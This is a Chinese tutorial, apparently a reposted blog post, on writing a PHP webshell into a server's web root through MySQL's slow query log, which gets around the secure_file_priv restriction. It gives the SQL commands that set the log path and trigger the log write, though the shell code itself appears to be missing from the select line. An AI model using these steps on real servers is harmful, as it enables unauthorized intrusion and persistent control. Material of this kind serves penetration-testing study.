MySQL绕过secure_file_priv利用慢查询写shell

通常情况下,找到一个注入点后,或者进入到一个网站的phpMyAdmin时,想通过into outfile写shell时,会通常会报错

这是因为MySQL配置文件中的secure_file_priv的值默认为NULL。
只有当他为非空值的时候才可以利用into outfile写文件。

我们可以利用日志来进行写shell,然后利用文件包含漏洞来包含日志文件,从而拿到服务器一定的权限。

利用慢查询来写shell

1、设置slow_query_log=1.即启用慢查询日志(默认禁用)

set global slow_query_log=1;
SHOW VARIABLES like '%slow_query_log%';

MySQL绕过secure_file_priv利用慢查询写shell_第1张图片

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

此处直接指定文件名为php了,就不再需要利用文件包含漏洞

SET GLOBAL slow_query_log_file='D:\phpstudy_pro\WWW\shell.php';

MySQL绕过secure_file_priv利用慢查询写shell_第2张图片

3.向日志文件写入shell

select '' or SLEEP(11);

MySQL绕过secure_file_priv利用慢查询写shell_第3张图片
MySQL绕过secure_file_priv利用慢查询写shell_第4张图片
shell可以正常使用
MySQL绕过secure_file_priv利用慢查询写shell_第5张图片

慢查询日志介绍

当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。
查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'

MySQL绕过secure_file_priv利用慢查询写shell_第6张图片

参考:https://www.cnblogs.com/c1e4r/articles/8902444.html

你可能感兴趣的:(SQL注入,SQL注入)